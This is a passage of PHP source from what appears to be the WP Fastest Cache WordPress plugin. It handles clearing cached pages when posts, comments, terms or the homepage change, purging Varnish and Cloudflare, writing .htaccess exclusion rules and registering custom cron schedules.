// The language is set from different domains
$path = preg_replace("/\/cache\/(all|wpfc-minified|wpfc-widget-cache|wpfc-mobile-cache)/", "/cache/".$_SERVER['HTTP_HOST']."/$1", $path);
}
}
}
if($this->isPluginActive('multiple-domain/multiple-domain.php')){
$path = preg_replace("/\/cache\/(all|wpfc-minified|wpfc-widget-cache|wpfc-mobile-cache)/", "/cache/".$_SERVER['HTTP_HOST']."/$1", $path);
}
if(is_multisite()){
$path = preg_replace("/\/cache\/(all|wpfc-minified|wpfc-widget-cache|wpfc-mobile-cache)/", "/cache/".$_SERVER['HTTP_HOST']."/$1", $path);
}
}
return WPFC_WP_CONTENT_DIR.$path;
}else{
return WPFC_WP_CONTENT_DIR;
}
}
protected function getOptions(){
return $GLOBALS["wp_fastest_cache_options"];
}
protected function getSystemMessage(){
return $this->systemMessage;
}
protected function get_excluded_useragent(){
return "facebookexternalhit|WP_FASTEST_CACHE_CSS_VALIDATOR|Twitterbot|LinkedInBot|WhatsApp|Mediatoolkitbot";
}
// protected function detectNewPost(){
// if(isset($this->options->wpFastestCacheNewPost) && isset($this->options->wpFastestCacheStatus)){
// add_filter ('save_post', array($this, 'deleteCache'));
// }
// }
public function deleteWidgetCache(){
$widget_cache_path = $this->getWpContentDir("/cache/wpfc-widget-cache");
if(is_dir($widget_cache_path)){
if(!is_dir($this->getWpContentDir("/cache/tmpWpfc"))){
if(@mkdir($this->getWpContentDir("/cache/tmpWpfc"), 0755, true)){
//tmpWpfc has been created
}
}
if(@rename($widget_cache_path, $this->getWpContentDir("/cache/tmpWpfc/w").time())){
//DONE
}
}
}
public function clear_cache_after_woocommerce_update_product($product_id){
if(!$this->deleted_before){
$this->singleDeleteCache(false, $product_id);
}
}
public function on_all_status_transitions($new_status, $old_status, $post){
$this->deleted_before = true;
if(!wp_is_post_revision($post->ID)){
if(isset($post->post_type)){
if($post->post_type == "nf_sub"){
return 0;
}
}
if($new_status == "publish" && $old_status != "publish"){
$this->specificDeleteCache();
if(isset($this->options->wpFastestCacheNewPost) && isset($this->options->wpFastestCacheStatus)){
if(isset($this->options->wpFastestCacheNewPost_type) && $this->options->wpFastestCacheNewPost_type){
if($this->options->wpFastestCacheNewPost_type == "all"){
$this->deleteCache();
}else if($this->options->wpFastestCacheNewPost_type == "homepage"){
$this->deleteHomePageCache();
//to clear category cache and tag cache
$this->singleDeleteCache(false, $post->ID);
//to clear widget cache
$this->deleteWidgetCache();
}
}else{
$this->deleteCache();
}
}
}
if(isset($this->options->wpFastestCacheStatus) && $new_status == "publish" && $old_status == "publish"){
// if(isset($this->options->wpFastestCacheUpdatePost) && isset($this->options->wpFastestCacheStatus)){
// if($this->options->wpFastestCacheUpdatePost_type == "post"){
// $this->singleDeleteCache(false, $post->ID);
// }else if($this->options->wpFastestCacheUpdatePost_type == "all"){
// $this->deleteCache();
// }
// }
$this->specificDeleteCache();
if(isset($this->options->wpFastestCacheUpdatePost)){
if($this->options->wpFastestCacheUpdatePost_type == "post"){
$this->singleDeleteCache(false, $post->ID);
}else if($this->options->wpFastestCacheUpdatePost_type == "all"){
$this->deleteCache();
}
}else{
// to clear only cache of content even though the "update post" option is disabled
$this->singleDeleteCache(false, $post->ID, false);
}
}
if($new_status == "trash" && $old_status == "publish"){
if($post->post_type == "shop_coupon"){
// YITH WooCommerce Coupon Email System Premium
return;
}
$this->singleDeleteCache(false, $post->ID);
}else if(($new_status == "draft" || $new_status == "pending" || $new_status == "private") && $old_status == "publish"){
$this->deleteCache();
}
}
}
protected function commentHooks(){
//it works when the status of a comment changes
add_action('wp_set_comment_status', array($this, 'singleDeleteCache'), 10, 1);
//it works when a comment is saved in the database
add_action('comment_post', array($this, 'detectNewComment'), 10, 2);
// it work when a commens is updated
add_action('edit_comment', array($this, 'detectEditComment'), 10, 2);
}
public function detectEditComment($comment_id, $comment_data){
if($comment_data["comment_approved"] == 1){
$this->singleDeleteCache($comment_id);
}
}
public function detectNewComment($comment_id, $comment_approved){
// if(current_user_can( 'manage_options') || !get_option('comment_moderation')){
if($comment_approved === 1){
$this->singleDeleteCache($comment_id);
}
}
public function specificDeleteCache(){
$urls = get_option("WpFastestCacheCSP");
$files = array();
if(!empty($urls)){
foreach ($urls as $key => $value) {
if(preg_match("/https?:\/\/[^\/]+\/(.+)/", $value->url, $out)){
if(preg_match("/\.{2,}/", $out[1])){
// to prevent Directory Traversal Attack
continue;
}
if(preg_match("/\/\(\.\*\)/", $out[1])){
$out[1] = str_replace("(.*)", "", $out[1]);
$path = $this->getWpContentDir("/cache/all/").$out[1];
$mobile_path = $this->getWpContentDir("/cache/wpfc-mobile-cache/").$out[1];
}else{
$out[1] = $out[1]."index.html";
$path = $this->getWpContentDir("/cache/all/").$out[1];
$mobile_path = $this->getWpContentDir("/cache/wpfc-mobile-cache/").$out[1];
}
if(!is_dir($this->getWpContentDir("/cache/tmpWpfc"))){
@mkdir($this->getWpContentDir("/cache/tmpWpfc"), 0755, true);
}
if(is_dir($path)){
rename($path, $this->getWpContentDir("/cache/tmpWpfc/").time());
}else if(is_file($path)){
@unlink($path);
}
if(is_dir($mobile_path)){
rename($mobile_path, $this->getWpContentDir("/cache/tmpWpfc/mobile_").time());
}else if(is_file($mobile_path)){
@unlink($mobile_path);
}
}
}
}
}
public function singleDeleteCache($comment_id = false, $post_id = false, $to_clear_parents = true){
if($varnish_datas = get_option("WpFastestCacheVarnish")){
include_once('inc/varnish.php');
VarnishWPFC::purge_cache($varnish_datas);
}
include_once('inc/cdn.php');
CdnWPFC::cloudflare_clear_cache();
$to_clear_feed = true;
// not to clear cache of homepage/cats/tags after ajax request by other plugins
if(isset($_POST) && isset($_POST["action"])){
// kk Star Rating
if($_POST["action"] == "kksr_ajax"){
$to_clear_parents = false;
}
// All In One Schema.org Rich Snippets
if(preg_match("/bsf_(update|submit)_rating/i", $_POST["action"])){
$to_clear_parents = false;
}
// Yet Another Stars Rating
if($_POST["action"] == "yasr_send_visitor_rating"){
$to_clear_parents = false;
$post_id = sanitize_text_field($_POST["post_id"]);
}
// All In One Schema.org Rich Snippets
if(preg_match("/bsf_(update|submit)_rating/i", $_POST["action"])){
$to_clear_feed = false;
}
}
if($comment_id){
$comment_id = intval($comment_id);
$comment = get_comment($comment_id);
if($comment && $comment->comment_post_ID){
$post_id = $comment->comment_post_ID;
}
}
if($post_id){
$post_id = intval($post_id);
$permalink = get_permalink($post_id);
$permalink = urldecode(get_permalink($post_id));
//for trash contents
if(preg_match("/\/\?p\=\d+/i", $permalink)){
$post = get_post($post_id);
$clone_post = clone $post;
$clone_post->post_status = 'publish';
$permalink = get_permalink($clone_post);
$permalink = rtrim($permalink, "/");
$permalink = preg_replace("/__trashed$/", "", $permalink);
//for /%postname%/%post_id% : sample-url__trashed/57595
$permalink = preg_replace("/__trashed\/(\d+)$/", "/$1", $permalink);
}
if(preg_match("/https?:\/\/[^\/]+\/(.+)/", $permalink, $out)){
$path = $this->getWpContentDir("/cache/all/").$out[1];
$mobile_path = $this->getWpContentDir("/cache/wpfc-mobile-cache/").$out[1];
if($this->isPluginActive("wp-fastest-cache-premium/wpFastestCachePremium.php")){
include_once $this->get_premium_path("logs.php");
$log = new WpFastestCacheLogs("delete");
$log->action();
}
$files = array();
if(is_dir($path)){
array_push($files, $path);
}
if(is_dir($mobile_path)){
array_push($files, $mobile_path);
}
if(defined('WPFC_CACHE_QUERYSTRING') && WPFC_CACHE_QUERYSTRING){
$files_with_query_string = glob($path."\?*");
$mobile_files_with_query_string = glob($mobile_path."\?*");
if(is_array($files_with_query_string) && (count($files_with_query_string) > 0)){
$files = array_merge($files, $files_with_query_string);
}
if(is_array($mobile_files_with_query_string) && (count($mobile_files_with_query_string) > 0)){
$files = array_merge($files, $mobile_files_with_query_string);
}
}
if($to_clear_feed){
// to clear cache of /feed
if(preg_match("/https?:\/\/[^\/]+\/(.+)/", get_feed_link(), $feed_out)){
array_push($files, $this->getWpContentDir("/cache/all/").$feed_out[1]);
}
// to clear cache of /comments/feed/
if(preg_match("/https?:\/\/[^\/]+\/(.+)/", get_feed_link("comments_"), $comment_feed_out)){
array_push($files, $this->getWpContentDir("/cache/all/").$comment_feed_out[1]);
}
}
foreach((array)$files as $file){
$this->rm_folder_recursively($file);
}
}
if($to_clear_parents){
// to clear cache of homepage
$this->deleteHomePageCache();
// to clear cache of author page
$this->delete_author_page_cache($post_id);
// to clear sitemap cache
$this->delete_sitemap_cache();
// to clear cache of next post and cache of prev post
$this->delete_next_prev_cache($post_id);
// to clear cache of cats and tags which contains the post (only first page)
global $wpdb;
$terms = $wpdb->get_results("SELECT * FROM `".$wpdb->prefix."term_relationships` WHERE `object_id`=".$post_id, ARRAY_A);
foreach ($terms as $term_key => $term_val){
$this->delete_cache_of_term($term_val["term_taxonomy_id"]);
}
}
$this->delete_multiple_domain_mapping_cache();
}
}
public function delete_next_prev_cache($post_id){
global $wpdb;
$post = get_post($post_id);
$next_post_query = "SELECT * FROM `".$wpdb->prefix."posts` WHERE ID = (SELECT min(ID) FROM `".$wpdb->prefix."posts` where ID > ".$post_id." AND `post_type` = '".$post->post_type."' AND `post_status` = 'publish')";
$prev_post_query = "SELECT * FROM `".$wpdb->prefix."posts` WHERE ID = (SELECT max(ID) FROM `".$wpdb->prefix."posts` where ID < ".$post_id." AND `post_type` = '".$post->post_type."' AND `post_status` = 'publish')";
$res = $wpdb->get_results($next_post_query." UNION ".$prev_post_query);
if(isset($res[0])){
foreach ($res as $key => $value) {
$permalink = urldecode(get_permalink($value->ID));
if(preg_match("/https?:\/\/[^\/]+\/(.+)/", $permalink, $out)){
$path = $this->getWpContentDir("/cache/all/").$out[1];
$mobile_path = $this->getWpContentDir("/cache/wpfc-mobile-cache/").$out[1];
if(is_dir($path)){
$this->rm_folder_recursively($path);
}
if(is_dir($mobile_path)){
$this->rm_folder_recursively($mobile_path);
}
}
}
}
}
public function delete_sitemap_cache(){
//to clear sitemap.xml and sitemap-(.+).xml
$files = array_merge(glob($this->getWpContentDir("/cache/all/")."sitemap*.xml"), glob($this->getWpContentDir("/cache/wpfc-mobile-cache/")."sitemap*.xml"));
foreach((array)$files as $file){
$this->rm_folder_recursively($file);
}
}
public function delete_multiple_domain_mapping_cache($minified = false){
//https://wordpress.org/plugins/multiple-domain-mapping-on-single-site/
if($this->isPluginActive("multiple-domain-mapping-on-single-site/multidomainmapping.php")){
$multiple_arr = get_option('falke_mdm_mappings');
if(isset($multiple_arr) && isset($multiple_arr["mappings"]) && isset($multiple_arr["mappings"][0])){
foreach($multiple_arr["mappings"] as $mapping_key => $mapping_value){
if($minified){
$mapping_domain_path = preg_replace("/(\/cache\/[^\/]+\/all\/)/", "/cache/".$mapping_value["domain"]."/", $this->getWpContentDir("/cache/all/"));
if(is_dir($mapping_domain_path)){
if(@rename($mapping_domain_path, $this->getWpContentDir("/cache/tmpWpfc/").$mapping_value["domain"]."_".time())){
}
}
}else{
$mapping_domain_path = preg_replace("/(\/cache\/[^\/]+\/all)/", "/cache/".$mapping_value["domain"]."/all", $this->getWpContentDir("/cache/all/index.html"));
@unlink($mapping_domain_path);
}
}
}
}
}
public function delete_author_page_cache($post_id){
$author_id = get_post_field ('post_author', $post_id);
$permalink = get_author_posts_url($author_id);
if(preg_match("/https?:\/\/[^\/]+\/(.+)/", $permalink, $out)){
$path = $this->getWpContentDir("/cache/all/").$out[1];
$mobile_path = $this->getWpContentDir("/cache/wpfc-mobile-cache/").$out[1];
$this->move_folder_to_tmpWpfc($path);
$this->move_folder_to_tmpWpfc($mobile_path);
}
}
public function move_folder_to_tmpWpfc($path = false){
if(!is_dir($this->getWpContentDir("/cache/tmpWpfc"))){
@mkdir($this->getWpContentDir("/cache/tmpWpfc"), 0755, true);
}
if(!$path){
return false;
}
if(!is_dir($this->getWpContentDir("/cache/tmpWpfc"))){
return false;
}
if(is_dir($path)){
preg_match("/\/([^\/]+)\/?$/", $path, $type);
if(isset($type[1])){
if(preg_match("/\/cache\/wpfc-mobile-cache\//", $path)){
$type[1] = "m_".$type[1];
}
$move_to = $this->getWpContentDir("/cache/tmpWpfc/").$type[1]."_".time();
rename($path, $move_to);
}
}
}
public function delete_cache_of_term($term_taxonomy_id){
$term = get_term_by("term_taxonomy_id", $term_taxonomy_id);
if(!$term || is_wp_error($term)){
return false;
}
//if(preg_match("/cat|tag|store|listing/", $term->taxonomy)){}
$url = get_term_link($term->term_id, $term->taxonomy);
if(preg_match("/^http/", $url)){
$path = preg_replace("/https?\:\/\/[^\/]+/i", "", $url);
$path = trim($path, "/");
$path = urldecode($path);
// to remove the cache of tag/cat
if(file_exists($this->getWpContentDir("/cache/all/").$path."/index.html")){
@unlink($this->getWpContentDir("/cache/all/").$path."/index.html");
}
if(file_exists($this->getWpContentDir("/cache/wpfc-mobile-cache/").$path."/index.html")){
@unlink($this->getWpContentDir("/cache/wpfc-mobile-cache/").$path."/index.html");
}
// to remove the cache of the pages
$this->rm_folder_recursively($this->getWpContentDir("/cache/all/").$path."/page");
$this->rm_folder_recursively($this->getWpContentDir("/cache/wpfc-mobile-cache/").$path."/page");
// to remove the cache of the feeds
$this->rm_folder_recursively($this->getWpContentDir("/cache/all/").$path."/feed");
$this->rm_folder_recursively($this->getWpContentDir("/cache/wpfc-mobile-cache/").$path."/feed");
}
if($term->parent > 0){
$parent = get_term_by("id", $term->parent, $term->taxonomy);
if(isset($parent->term_taxonomy_id)){
$this->delete_cache_of_term($parent->term_taxonomy_id);
}
}
}
public function unlink($path){
if(file_exists($path)){
unlink($path);
}
}
public function deleteHomePageCache($log = true){
if($varnish_datas = get_option("WpFastestCacheVarnish")){
include_once('inc/varnish.php');
VarnishWPFC::purge_cache($varnish_datas);
}
include_once('inc/cdn.php');
CdnWPFC::cloudflare_clear_cache();
$site_url_path = preg_replace("/https?\:\/\/[^\/]+/i", "", site_url());
$home_url_path = preg_replace("/https?\:\/\/[^\/]+/i", "", home_url());
if($site_url_path){
$site_url_path = trim($site_url_path, "/");
if($site_url_path){
$this->unlink($this->getWpContentDir("/cache/all/").$site_url_path."/index.html");
$this->unlink($this->getWpContentDir("/cache/wpfc-mobile-cache/").$site_url_path."/index.html");
//to clear pagination of homepage cache
$this->rm_folder_recursively($this->getWpContentDir("/cache/all/").$site_url_path."/page");
$this->rm_folder_recursively($this->getWpContentDir("/cache/wpfc-mobile-cache/").$site_url_path."/page");
}
}
if($home_url_path){
$home_url_path = trim($home_url_path, "/");
if($home_url_path){
$this->unlink($this->getWpContentDir("/cache/all/").$home_url_path."/index.html");
$this->unlink($this->getWpContentDir("/cache/wpfc-mobile-cache/").$home_url_path."/index.html");
//to clear pagination of homepage cache
$this->rm_folder_recursively($this->getWpContentDir("/cache/all/").$home_url_path."/page");
$this->rm_folder_recursively($this->getWpContentDir("/cache/wpfc-mobile-cache/").$home_url_path."/page");
}
}
if(function_exists("wc_get_page_id")){
if($shop_id = wc_get_page_id('shop')){
$store_url_path = preg_replace("/https?\:\/\/[^\/]+/i", "", get_permalink($shop_id));
if($store_url_path){
$store_url_path = trim($store_url_path, "/");
if($store_url_path){
if(file_exists($this->getWpContentDir("/cache/all/").$store_url_path."/index.html")){
@unlink($this->getWpContentDir("/cache/all/").$store_url_path."/index.html");
}
if(file_exists($this->getWpContentDir("/cache/wpfc-mobile-cache/").$store_url_path."/index.html")){
@unlink($this->getWpContentDir("/cache/wpfc-mobile-cache/").$store_url_path."/index.html");
}
//to clear pagination of store homepage cache
$this->rm_folder_recursively($this->getWpContentDir("/cache/all/").$store_url_path."/page");
$this->rm_folder_recursively($this->getWpContentDir("/cache/wpfc-mobile-cache/").$store_url_path."/page");
}
}
}
}
$this->unlink($this->getWpContentDir("/cache/all/index.html"));
$this->unlink($this->getWpContentDir("/cache/wpfc-mobile-cache/index.html"));
//to clear pagination of homepage cache
$this->rm_folder_recursively($this->getWpContentDir("/cache/all/page"));
$this->rm_folder_recursively($this->getWpContentDir("/cache/wpfc-mobile-cache/page"));
// options-reading.php - static posts page
if($page_for_posts_id = get_option('page_for_posts')){
$page_for_posts_permalink = urldecode(get_permalink($page_for_posts_id));
$page_for_posts_permalink = rtrim($page_for_posts_permalink, "/");
$page_for_posts_permalink = preg_replace("/__trashed$/", "", $page_for_posts_permalink);
//for /%postname%/%post_id% : sample-url__trashed/57595
$page_for_posts_permalink = preg_replace("/__trashed\/(\d+)$/", "/$1", $page_for_posts_permalink);
if(preg_match("/https?:\/\/[^\/]+\/(.+)/", $page_for_posts_permalink, $out)){
$page_for_posts_path = $this->getWpContentDir("/cache/all/").$out[1];
$page_for_posts_mobile_path = $this->getWpContentDir("/cache/wpfc-mobile-cache/").$out[1];
$this->rm_folder_recursively($page_for_posts_path);
$this->rm_folder_recursively($page_for_posts_mobile_path);
}
}
if($log){
if($this->isPluginActive("wp-fastest-cache-premium/wpFastestCachePremium.php")){
include_once $this->get_premium_path("logs.php");
$log = new WpFastestCacheLogs("delete");
$log->action();
}
}
}
public function deleteCache($minified = false){
if($varnish_datas = get_option("WpFastestCacheVarnish")){
include_once('inc/varnish.php');
VarnishWPFC::purge_cache($varnish_datas);
}
include_once('inc/cdn.php');
CdnWPFC::cloudflare_clear_cache();
$this->set_preload();
$created_tmpWpfc = false;
$cache_deleted = false;
$minifed_deleted = false;
$cache_path = $this->getWpContentDir("/cache/all");
$minified_cache_path = $this->getWpContentDir("/cache/wpfc-minified");
if(class_exists("WpFcMobileCache")){
if(is_dir($this->getWpContentDir("/cache/wpfc-mobile-cache"))){
if(is_dir($this->getWpContentDir("/cache/tmpWpfc"))){
rename($this->getWpContentDir("/cache/wpfc-mobile-cache"), $this->getWpContentDir("/cache/tmpWpfc/mobile_").time());
}else if(@mkdir($this->getWpContentDir("/cache/tmpWpfc"), 0755, true)){
rename($this->getWpContentDir("/cache/wpfc-mobile-cache"), $this->getWpContentDir("/cache/tmpWpfc/mobile_").time());
}
}
}
if(!is_dir($this->getWpContentDir("/cache/tmpWpfc"))){
if(@mkdir($this->getWpContentDir("/cache/tmpWpfc"), 0755, true)){
$created_tmpWpfc = true;
}else{
$created_tmpWpfc = false;
//$this->systemMessage = array("Permission of <strong>/wp-content/cache</strong> must be <strong>755</strong>", "error");
}
}else{
$created_tmpWpfc = true;
}
//to clear widget cache path
$this->deleteWidgetCache();
$this->delete_multiple_domain_mapping_cache($minified);
if(is_dir($cache_path)){
if(@rename($cache_path, $this->getWpContentDir("/cache/tmpWpfc/").time())){
delete_option("WpFastestCacheHTML");
delete_option("WpFastestCacheHTMLSIZE");
delete_option("WpFastestCacheMOBILE");
delete_option("WpFastestCacheMOBILESIZE");
$cache_deleted = true;
}
}else{
$cache_deleted = true;
}
if($minified){
if(is_dir($minified_cache_path)){
if(@rename($minified_cache_path, $this->getWpContentDir("/cache/tmpWpfc/m").time())){
delete_option("WpFastestCacheCSS");
delete_option("WpFastestCacheCSSSIZE");
delete_option("WpFastestCacheJS");
delete_option("WpFastestCacheJSSIZE");
$minifed_deleted = true;
}
}else{
$minifed_deleted = true;
}
}else{
$minifed_deleted = true;
}
if($created_tmpWpfc && $cache_deleted && $minifed_deleted){
do_action('wpfc_delete_cache');
$this->notify(array("All cache files have been deleted", "updated"));
if($this->isPluginActive("wp-fastest-cache-premium/wpFastestCachePremium.php")){
include_once $this->get_premium_path("logs.php");
$log = new WpFastestCacheLogs("delete");
$log->action();
}
}else{
$this->notify(array("Permissions Problem: <a href='http://www.wpfastestcache.com/warnings/delete-cache-problem-related-to-permission/' target='_blank'>Read More</a>", "error"));
}
// for ajax request
if(isset($_GET["action"]) && in_array($_GET["action"], array("wpfc_delete_cache", "wpfc_delete_cache_and_minified"))){
die(json_encode($this->systemMessage));
}
}
public function checkCronTime(){
$crons = _get_cron_array();
foreach ((array)$crons as $cron_key => $cron_value) {
foreach ( (array) $cron_value as $hook => $events ) {
if(preg_match("/^wp\_fastest\_cache(.*)/", $hook, $id)){
if(!$id[1] || preg_match("/^\_(\d+)$/", $id[1])){
foreach ( (array) $events as $event_key => $event ) {
add_action("wp_fastest_cache".$id[1], array($this, 'setSchedule'));
}
}
}
}
}
add_action($this->slug()."_Preload", array($this, 'create_preload_cache'), 11);
}
public function set_preload(){
include_once('inc/preload.php');
PreloadWPFC::set_preload($this->slug());
}
public function create_preload_cache(){
$this->options = $this->getOptions();
include_once('inc/preload.php');
PreloadWPFC::create_preload_cache($this->options);
}
public function wpfc_remote_get($url, $user_agent, $return_content = false){
//$response = wp_remote_get($url, array('timeout' => 10, 'sslverify' => false, 'headers' => array("cache-control" => array("no-store, no-cache, must-revalidate", "post-check=0, pre-check=0"),'user-agent' => $user_agent)));
$response = wp_remote_get($url, array('user-agent' => $user_agent, 'timeout' => 10, 'sslverify' => false, 'headers' => array("cache-control" => "no-store, no-cache, must-revalidate, post-check=0, pre-check=0")));
if (!$response || is_wp_error($response)){
echo $response->get_error_message()." - ";
return false;
}else{
if(wp_remote_retrieve_response_code($response) != 200){
return false;
}
if($return_content){
if(wp_remote_retrieve_response_code($response) == 200){
$data = wp_remote_retrieve_body($response);
return $data;
}
}
}
return true;
}
public function setSchedule($args = ""){
if($args){
$rule = json_decode($args);
if($rule->prefix == "all"){
$this->deleteCache();
}else if($rule->prefix == "homepage"){
$this->deleteHomePageCache();
if(isset($this->options->wpFastestCachePreload_homepage) && $this->options->wpFastestCachePreload_homepage){
$this->wpfc_remote_get(get_option("home"), "WP Fastest Cache Preload Bot - After Cache Timeout");
$this->wpfc_remote_get(get_option("home"), "WP Fastest Cache Preload iPhone Mobile Bot - After Cache Timeout");
}
}else if($rule->prefix == "startwith"){
if(!is_dir($this->getWpContentDir("/cache/tmpWpfc"))){
if(@mkdir($this->getWpContentDir("/cache/tmpWpfc"), 0755, true)){}
}
$rule->content = trim($rule->content, "/");
$files = glob($this->getWpContentDir("/cache/all/").$rule->content."*");
foreach ((array)$files as $file) {
$mobile_file = str_replace("/cache/all/", "/cache/wpfc-mobile-cache/", $file);
@rename($file, $this->getWpContentDir("/cache/tmpWpfc/").time());
@rename($mobile_file, $this->getWpContentDir("/cache/tmpWpfc/mobile_").time());
}
}else if($rule->prefix == "exact"){
$rule->content = trim($rule->content, "/");
@unlink($this->getWpContentDir("/cache/all/").$rule->content."/index.html");
@unlink($this->getWpContentDir("/cache/wpfc-mobile-cache/").$rule->content."/index.html");
}
if($rule->prefix != "all"){
if($this->isPluginActive("wp-fastest-cache-premium/wpFastestCachePremium.php")){
include_once $this->get_premium_path("logs.php");
$log = new WpFastestCacheLogs("delete");
$log->action($rule);
}
}
}else{
//for old cron job
$this->deleteCache();
}
}
public function modify_htaccess_for_new_user($user_id){
$path = ABSPATH;
if($this->is_subdirectory_install()){
$path = $this->getABSPATH();
}
$htaccess = @file_get_contents($path.".htaccess");
if(preg_match("/\#\s?Start_WPFC_Exclude_Admin_Cookie/", $htaccess)){
$rules = $this->excludeAdminCookie();
$htaccess = preg_replace("/\#\s?Start_WPFC_Exclude_Admin_Cookie[^\#]*\#\s?End_WPFC_Exclude_Admin_Cookie\s+/", $rules, $htaccess);
}
@file_put_contents($path.".htaccess", $htaccess);
}
public function excludeAdminCookie(){
$usernames = array();
$users_groups = array_chunk(get_users(array("role" => "administrator", "fields" => array("user_login"))), 5);
foreach ($users_groups as $group_key => $group) {
$tmp_user = "";
$tmp_rule = "";
foreach ($group as $key => $value) {
$tmp_user = sanitize_user(wp_unslash($value->user_login), true);
/*
to replace spaces with %20
1. Empty space character causes 500 internal server error
2. "\s" is not detected by htaccess so we added "%20"
*/
$tmp_user = preg_replace("/\s/", "%20", $tmp_user);
array_push($usernames, $tmp_user);
}
}
$rule = "# Start_WPFC_Exclude_Admin_Cookie\n";
$rule = $rule."RewriteCond %{HTTP:Cookie} !wordpress_logged_in_[^\=]+\=".implode("|", $usernames);
$rule = $rule."\n# End_WPFC_Exclude_Admin_Cookie\n";
return $rule;
}
public function excludeRules(){
$htaccess_page_rules = "";
$htaccess_page_useragent = "";
$htaccess_page_cookie = "";
if($rules_json = get_option("WpFastestCacheExclude")){
if($rules_json != "null"){
$rules_std = json_decode($rules_json);
foreach ($rules_std as $key => $value) {
$value->type = isset($value->type) ? $value->type : "page";
// escape the chars
$value->content = str_replace("?", "\?", $value->content);
if($value->type == "page"){
if($value->prefix == "startwith"){
$value->content = ltrim($value->content, "/");
$htaccess_page_rules = $htaccess_page_rules."RewriteCond %{REQUEST_URI} !^/".$value->content." [NC]\n";
}
if($value->prefix == "contain"){
$htaccess_page_rules = $htaccess_page_rules."RewriteCond %{REQUEST_URI} !".$value->content." [NC]\n";
}
if($value->prefix == "exact"){
$value->content = trim($value->content, "/");
$htaccess_page_rules = $htaccess_page_rules."RewriteCond %{REQUEST_URI} !\/".$value->content." [NC]\n";
}
}else if($value->type == "useragent"){
$htaccess_page_useragent = $htaccess_page_useragent."RewriteCond %{HTTP_USER_AGENT} !".$value->content." [NC]\n";
}else if($value->type == "cookie"){
$htaccess_page_cookie = $htaccess_page_cookie."RewriteCond %{HTTP:Cookie} !".$value->content." [NC]\n";
}
}
}
}
return "# Start WPFC Exclude\n".$htaccess_page_rules.$htaccess_page_useragent.$htaccess_page_cookie."# End WPFC Exclude\n";
}
public function getABSPATH(){
if(function_exists("get_home_path")){
return get_home_path();
}else{
$path = ABSPATH;
$siteUrl = site_url();
$homeUrl = home_url();
$diff = str_replace($homeUrl, "", $siteUrl);
$diff = trim($diff,"/");
$pos = strrpos($path, $diff);
if($pos !== false){
$path = substr_replace($path, "", $pos, strlen($diff));
$path = trim($path,"/");
$path = "/".$path."/";
}
return $path;
}
}
public function rm_folder_recursively($dir, $i = 1) {
if(is_dir($dir)){
$files = @scandir($dir);
foreach((array)$files as $file) {
if($i > 50 && !preg_match("/wp-fastest-cache-premium/i", $dir)){
return true;
}else{
$i++;
}
if ('.' === $file || '..' === $file) continue;
if (is_dir("$dir/$file")){
$this->rm_folder_recursively("$dir/$file", $i);
}else{
if(file_exists("$dir/$file")){
@unlink("$dir/$file");
}
}
}
}
if(is_dir($dir)){
$files_tmp = @scandir($dir);
if(!isset($files_tmp[2])){
@rmdir($dir);
}
}
return true;
}
public function is_subdirectory_install(){
if(strlen(site_url()) > strlen(home_url())){
return true;
}
return false;
}
protected function getMobileUserAgents(){
return implode("|", $this->get_mobile_browsers())."|".implode("|", $this->get_operating_systems());
}
public function get_premium_path($name){
return WPFC_WP_PLUGIN_DIR."/wp-fastest-cache-premium/pro/library/".$name;
}
public function cron_add_minute( $schedules ) {
$schedules['everyminute'] = array(
'interval' => 60*1,
'display' => __( 'Once Every 1 Minute' ),
'wpfc' => true
);
$schedules['everyfiveminute'] = array(
'interval' => 60*5,
'display' => __( 'Once Every 5 Minutes' ),
'wpfc' => true
);
$schedules['everyfifteenminute'] = array(
'interval' => 60*15,
'display' => __( 'Once Every 15 Minutes' ),
'wpfc' => true
);
$schedules['twiceanhour'] = array(
'interval' => 60*30,
'display' => __( 'Twice an Hour' ),
'wpfc' => true
);
$schedules['onceanhour'] = array(
'interval' => 60*60,
'display' => __( 'Once an Hour' ),
'wpfc' => true
);
$schedules['everytwohours'] = array(
'interval' => 60*60*2,
'display' => __( 'Once Every 2 Hours' ),
'wpfc' => true
);
$schedules['everythreehours'] = array(
'interval' => 60*60*3,
'display' => __( 'Once Every 3 Hours' ),
'wpfc' => true
);
$schedules['everyfourhours'] = array(
'interval' => 60*60*4,
'display' => __( 'Once Every 4 Hours' ),
'wpfc' => true
);
$schedules['everyfivehours'] = array(
'interval' => 60*60*5,
'display' => __( 'Once Every 5 Hours' ),
'wpfc' => true
);
$schedules['everysixhours'] = array(
'interval' => 60*60*6,
'display' => __( 'Once Every 6 Hours' ),
'wpfc' => true
);
$schedules['everysevenhours'] = array(
'interval' => 60*60*7,
'display' => __( 'Once Every 7 Hours' ),
'wpfc' => true
);
$schedules['everyeighthours'] = array(
'interval' => 60*60*8,
'display' => __( 'Once Every 8 Hours' ),
'wpfc' => true
);
$schedules['everyninehours'] = array(
'interval' => 60*60*9,
'display' => __( 'Once Every 9 Hours' ),
'wpfc' => true
);
$schedules['everytenhours'] = array(
'interval' => 60*60*10,
'display' => __( 'Once Every 10 Hours' ),
'wpfc' => true
);
$schedules['onceaday'] = array(
'interval' => 60*60*24,
'display' => __( 'Once a Day' ),
'wpfc' => true
);
$schedules['everythreedays'] = array(
'interval' => 60*60*24*3,
'display' => __( 'Once Every 3 Days' ),
'wpfc' => true
);
$schedules['everysevendays'] = array(
'interval' => 60*60*24*7,
'display' => __( 'Once Every 7 Days' ),
'wpfc' => true
);
$schedules['everytendays'] = array(
'interval' => 60*60*24*10,
'display' => __( 'Once Every 10 Days' ),
'wpfc' => true
);
$schedules['everyfifteendays'] = array(
'interval' => 60*60*24*15,
'display' => __( 'Once Every 15 Days' ),
'wpfc' => true
);
$schedules['montly'] = array(
'interval' => 60*60*24*30,
'display' => __( 'Once a Month' ),
'wpfc' => true
);
$schedules['yearly'] = array(
'interval' => 60*60*24*30*12,
'display' => __( 'Once a Year' ),
'wpfc' => true
);
return $schedules;
}
public function setCustomInterval(){
add_filter( 'cron_schedules', array($this, 'cron_add_minute'));
}
public function isPluginActive( $plugin ) {
return in_array( $plugin, (array) get_option( 'active_plugins', array() ) ) || $this->isPluginActiveForNetwork( $plugin );
}
public function isPluginActiveForNetwork( $plugin ) {
if ( !is_multisite() )
return false;
$plugins = get_site_option( 'active_sitewide_plugins');
if ( isset($plugins[$plugin]) )
return true;
return false;
}
public function current_url(){
global $wp;
$current_url = home_url($_SERVER['REQUEST_URI']);
return $current_url;
// if(defined('WP_CLI')){
// $_SERVER["SERVER_NAME"] = isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : "";
